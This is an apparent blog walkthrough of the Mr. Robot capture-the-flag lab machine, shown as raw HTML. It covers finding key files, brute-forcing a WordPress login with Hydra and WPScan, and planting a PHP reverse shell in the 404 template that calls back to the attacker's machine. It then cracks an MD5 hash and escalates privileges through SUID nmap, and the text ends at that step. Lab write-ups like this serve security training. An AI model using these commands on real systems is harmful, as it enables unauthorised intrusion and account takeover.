&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jimlkzgwpt9thxlvilx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jimlkzgwpt9thxlvilx.png" alt="Login error"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...hmmm, doesn't look like we can get in. Noting the error message, it's prompted because of invalid username. So if we enter the correct username, would it prompt us with “Invalid password” instead? 👀&lt;/p&gt;

&lt;p&gt;We'll circle back to the WP login later...&lt;/p&gt;

&lt;p&gt;What about &lt;code&gt;192.168.56.103/robot.txt&lt;/code&gt;, which is a file used for site indexing...&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbl0ogx2ig5upmqwa24id.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbl0ogx2ig5upmqwa24id.png" alt="robots.txt"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...and luckily enough, there's &lt;code&gt;key-1-of-3.txt&lt;/code&gt;, our 1st key! ✅&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbjq6q28xwqwtnfrxsfw5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbjq6q28xwqwtnfrxsfw5.png" alt="key-1-of-3"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Where is Key 2? &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;As we saw earlier, there is a WP site we can try logging into, but of course, can't login without the right username &amp;amp; password.&lt;/p&gt;

&lt;p&gt;Using WPScan, we can try to find any valid users:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wpscan --url http://192.168.56.103/wp-login.php —enumerate u&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fywmiebwma3cqxwm6q2wm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fywmiebwma3cqxwm6q2wm.png" alt="WPScan enumeration"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...but from the looks of it, nothing substantial, except maybe the WordPress version, which seems exploitable.&lt;/p&gt;

&lt;p&gt;There was that &lt;code&gt;fsocity.dic&lt;/code&gt; file we found earlier, maybe there's a lead there? A quick &lt;code&gt;cat&lt;/code&gt; it seems to be a long list of "random" words...&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbrbgynxarc13xkf7v5ff.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbrbgynxarc13xkf7v5ff.png" alt="fsocity.dic"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...that we can use for possible username and password combinations!&lt;/p&gt;
&lt;h3&gt;
  
  
  Brute forcing username &amp;amp; password &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;There are a few tools that we can use to brute force the WP login:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.kali.org/tools/burpsuite/" rel="noopener noreferrer"&gt;Burp Suite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.kali.org/tools/hydra/" rel="noopener noreferrer"&gt;Hydra&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.kali.org/tools/wpscan/" rel="noopener noreferrer"&gt;WPScan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now remember that word list &lt;code&gt;fsocity.dic&lt;/code&gt;? Yeah, that one file has &lt;code&gt;858,160&lt;/code&gt; words...&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphtrurt4lj5dyg4efrt2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphtrurt4lj5dyg4efrt2.png" alt="word count"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...and if we use &lt;code&gt;fsocity.dic&lt;/code&gt; as a wordlist for the cracking tool parameters, it's going to take a long while to brute force &lt;code&gt;858,160&lt;/code&gt; potential username/password combos.&lt;/p&gt;

&lt;p&gt;If we remove any duplicates and sort the wordlist, we could optimize the time it would take to brute force (TL;DR: shorter list, faster time to crack):&lt;/p&gt;

&lt;p&gt;&lt;code&gt;type fsocity.dic | sort | uniq &amp;gt; sorted_uniq_fsocity.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;With that one command, we were able to reduce the word count to &lt;code&gt;11,452&lt;/code&gt;. Now to get crackin'!&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxwdvt43ktm5kgtzoru65.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxwdvt43ktm5kgtzoru65.png" alt="word count compare"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Burp Suite
&lt;/h4&gt;

&lt;p&gt;Using Burp Suite, we can configure the attack to use &lt;code&gt;fsocity.dic&lt;/code&gt; as the word list parameter to brute force the username.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1i3eepehoeytugm8j36k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1i3eepehoeytugm8j36k.png" alt="Burp Suite"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking at the length of each response, most are pretty consistent when erroring out, but scrolling not too far down to Elliot, we see the response is &lt;code&gt;4164&lt;/code&gt; instead of the usual &lt;code&gt;4114&lt;/code&gt;. In the Rendered response, we see that the error message shows that the password entered for &lt;code&gt;Elliot&lt;/code&gt; is incorrect, which from our previous observation about error messages us to conclude that &lt;code&gt;Elliot&lt;/code&gt; is a valid user.&lt;/p&gt;

&lt;p&gt;If we used the sorted list, it ideally would've shortened the brute force time execution. However, because it’s also sorted it could take longer to see the target response, especially if the right credential is last on the word list.&lt;/p&gt;

&lt;p&gt;Considering how long it might take to use Burp Suite to brute force the password (since this is a Community version of Burp), we’ll move on with another tool, Hydra.&lt;/p&gt;
&lt;h4&gt;
  
  
  Hydra
&lt;/h4&gt;

&lt;p&gt;Using Hydra, we're able to brute force a valid login, when using the original &lt;code&gt;fsocity.dic&lt;/code&gt; and an arbitrary password &lt;code&gt;test&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; ./fsocity.dic &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;test &lt;/span&gt;192.168.56.103 http-post-form &lt;span class="s2"&gt;"/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log+In&amp;amp;redirect_to=http%3A%2F%2F192.168.56.103%2Fwp-admin%2F&amp;amp;testcookie=1:Invalid username"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F16y4hlrfb1cwriy9j6pb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F16y4hlrfb1cwriy9j6pb.png" alt="hydra username brute force"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Again, it was fairly quick since the username &lt;code&gt;Elliot&lt;/code&gt; was right near the top. But if we were to used the sorted, unique version of fsocity.dic, it would've taken up to attempt &lt;code&gt;5,488&lt;/code&gt; of &lt;code&gt;11,452&lt;/code&gt; in order to get the username:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffjb552pdajewzlxo0u6j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffjb552pdajewzlxo0u6j.png" alt="hydra username results"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After username, now we can brute force the password with username &lt;code&gt;elliot&lt;/code&gt;, and here we'll use our duplicate-removed and sorted version of our wordlist &lt;code&gt;sorted_uniq_fsocity.dic&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-V&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; elliot &lt;span class="nt"&gt;-P&lt;/span&gt; ./sorted_uniq_fsocity.dic 192.168.56.103 http-post-form &lt;span class="s2"&gt;"/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log+In&amp;amp;redirect_to=http%3A%2F%2F192.168.56.103%2Fwp-admin%2F&amp;amp;testcookie=1:incorrect"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feeyq6qbzt8tmevlnd52n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feeyq6qbzt8tmevlnd52n.png" alt="hydra password brute force"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  WPScan
&lt;/h4&gt;

&lt;p&gt;Note, with WPScan, since we were unable to enumerate any valid users with our preliminary scan, we'll have to rely on the previously mentioned tools (Burp &amp;amp; Hydra) to find the username first.&lt;/p&gt;

&lt;p&gt;Once found, we can then use WPScan as an alternative to brute force the password like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wpscan &lt;span class="nt"&gt;-t&lt;/span&gt; 10000 &lt;span class="nt"&gt;-U&lt;/span&gt; Elliot &lt;span class="nt"&gt;-P&lt;/span&gt; fsocity.dic &lt;span class="nt"&gt;--url&lt;/span&gt; http://192.168.56.103/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fklzlzl4h0axssrw3xklw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fklzlzl4h0axssrw3xklw.png" alt="wpscan password brute force"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So of the three tools, Hydra was most ideal with its quick execution time with this particular machine config. If circumstances were different, maybe users were enumerated or we were using the full Burp Suite version, the other tools would've been better for the job.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;username: Elliot
password: ER28-0652
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have our valid credentials, let's login to the WP site!&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd5u0qof60ur1eon8d5hv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd5u0qof60ur1eon8d5hv.png" alt="WordPress dashboard"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Running reverse shell on target
&lt;/h3&gt;

&lt;p&gt;Our next moves are going to see if we can run reverse shell from &lt;a href="https://pentestmonkey.net/tools/web-shells/php-reverse-shell" rel="noopener noreferrer"&gt;pentestmonkey&lt;/a&gt; by inserting it into the &lt;code&gt;404.php&lt;/code&gt; file of the WP site.&lt;/p&gt;

&lt;p&gt;Will need to switch network back to &lt;code&gt;Bridge Adapter&lt;/code&gt; in order to download the reverse shell, and then switch back to &lt;code&gt;Host Only Adapter&lt;/code&gt; to reconnect with the target.&lt;/p&gt;

&lt;p&gt;To download the reverse shell onto Kali machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget &lt;span class="s2"&gt;"http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extract it, then go into php-reverse-shell.php file using &lt;code&gt;vim&lt;/code&gt; and replace the &lt;code&gt;$ip&lt;/code&gt; value with your attacking machine IP: &lt;code&gt;192.168.56.104&lt;/code&gt;. And change the port to a “cool” number: &lt;code&gt;4242&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhoikljnww6ukanydqsag.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhoikljnww6ukanydqsag.png" alt="Reverse shell config"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Copy the &lt;code&gt;php-reverse-shell.php&lt;/code&gt; code and paste it into &lt;code&gt;Appearance &amp;gt; Editor &amp;gt; 404 Template&lt;/code&gt; and update the file.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmu4r2l28ijtah1l9vnfn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmu4r2l28ijtah1l9vnfn.png" alt="Paste reverse shell on 404.php"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;a href="https://www.kali.org/tools/netcat/" rel="noopener noreferrer"&gt;NetCat&lt;/a&gt;, we set up a listener on port &lt;code&gt;4242&lt;/code&gt; with command: &lt;code&gt;nc -lnvp 4242&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqfnamrfo8udkrwee4f8c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqfnamrfo8udkrwee4f8c.png" alt="netcat"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Open new terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://192.168.56.103/404.php
&lt;span class="c"&gt;# This will send a POST request to the 404.php page&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Can also send a POST request on web browser → &lt;code&gt;http://102.168.56.103/flaskdjhflakjsdhf&lt;/code&gt;. This will trigger a 404 page, and therefore request will trigger the reverse shell.&lt;/p&gt;

&lt;p&gt;Bam, we have our reverse shell!&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fczxp4gdkm2ntz10op43t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fczxp4gdkm2ntz10op43t.png" alt="reverse shell operational"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we want to have interactive control over the target, so let's run &lt;code&gt;bin/bash&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import pty; pty.spawn('/bin/bash')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;

&lt;p&gt;Now that we have our "shell in a shell", let's see what we can literally "find" the 2nd key, assuming it is in the same format as the 1st one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"key-2-of-3.txt"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look like we got a hit on the key: &lt;code&gt;/home/robot/key-2-of-3.txt&lt;/code&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhtha5w7uezhtkh1agvg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhtha5w7uezhtkh1agvg.png" alt="find command"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We navigate to our target directory &lt;code&gt;/home/robot&lt;/code&gt;. Once there, we do an &lt;code&gt;ls -l&lt;/code&gt; and confirm the 2nd key. Then we try to &lt;code&gt;cat&lt;/code&gt; it to double check, but looks like our current privileges don’t allow us to access said file.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmaoaegsmcnelyrbd0ad7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmaoaegsmcnelyrbd0ad7.png" alt="robot directory nav"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like it can only be accessed by the &lt;code&gt;robot&lt;/code&gt; user, but we don’t have a password. We do have a &lt;code&gt;password.raw-md5&lt;/code&gt; file that appears to be accessible to our current access level.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F13cjt0cs579mh5po6opd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F13cjt0cs579mh5po6opd.png" alt="cat password file"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we &lt;code&gt;cat&lt;/code&gt; it, it looks like an &lt;a href="https://en.wikipedia.org/wiki/MD5" rel="noopener noreferrer"&gt;md5&lt;/a&gt; hash, which was &lt;em&gt;obviously&lt;/em&gt; not hinted at by the file name &lt;code&gt;raw-md5&lt;/code&gt; 👀.&lt;/p&gt;

&lt;p&gt;So let’s see if we can decrypt it by sending it to our good friend the &lt;a href="https://crackstation.net/" rel="noopener noreferrer"&gt;CrackStation&lt;/a&gt;.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gdrel2nvaf3296wjusj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gdrel2nvaf3296wjusj.png" alt="CrackStation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Considering the context clues of the &lt;code&gt;password.raw-md5&lt;/code&gt; file and its contents, we've just found the password to the robot user.&lt;/p&gt;

&lt;p&gt;Note, that if we weren't already running a PTY terminal, we'll need to run &lt;code&gt;python -c "import pty; pty.spawn('/bin/bash')"&lt;/code&gt; in order to execute the &lt;code&gt;su robot&lt;/code&gt; commmand:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8kt3herv9fvrzdzyg1hc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8kt3herv9fvrzdzyg1hc.png" alt="su robot"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So after a quick &lt;code&gt;su robot&lt;/code&gt; and authorization with our decrypted credentials, we are able to &lt;code&gt;cat&lt;/code&gt; the &lt;code&gt;key-2-of-3.txt&lt;/code&gt; file and obtain the 2nd key! ✅&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F777mwziha4ymoiffufvq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F777mwziha4ymoiffufvq.png" alt="key-2-of-3"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Where is Key 3? &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Thinking of next steps, logically it would make sense to escalate permissions either up or across to other users who have access to files that we don't have access to (aka escalated to &lt;code&gt;robot&lt;/code&gt; when we were &lt;code&gt;daemon@linux&lt;/code&gt; in the shell). We'll need to find any files with the &lt;a href="https://en.wikipedia.org/wiki/Setuid" rel="noopener noreferrer"&gt;SUID&lt;/a&gt; permission set that we can exploit.&lt;/p&gt;

&lt;p&gt;We can run the following to do just that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; /4000 &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/tmp/2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe2ecnel5qdsq7iq4c1wa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe2ecnel5qdsq7iq4c1wa.png" alt="find SUID perm files"&gt;&lt;/a&gt;&lt;br&gt;
Hmmm, looking at the files with SUID set...&lt;code&gt;passwd&lt;/code&gt; seems like a potential lead…&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuk7al0ioww1pu82kt5yi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuk7al0ioww1pu82kt5yi.png" alt="namp SUID"&gt;&lt;/a&gt;&lt;br&gt;
Interesting, why would WP have an &lt;code&gt;nmap&lt;/code&gt; directory? 👀&lt;/p&gt;
&lt;h3&gt;
  
  
  Exploit/escalate permissions to root
&lt;/h3&gt;

&lt;p&gt;On &lt;a href="https://gtfobins.github.io/" rel="noopener noreferrer"&gt;GTFOBins&lt;/a&gt; it looks like &lt;code&gt;nmap&lt;/code&gt; is a Unix binary we can exploit to escalate our privileges. As detailed on the repo, we'll need to run the following commands to spawn an interactive system shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;--interactive&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt;sh
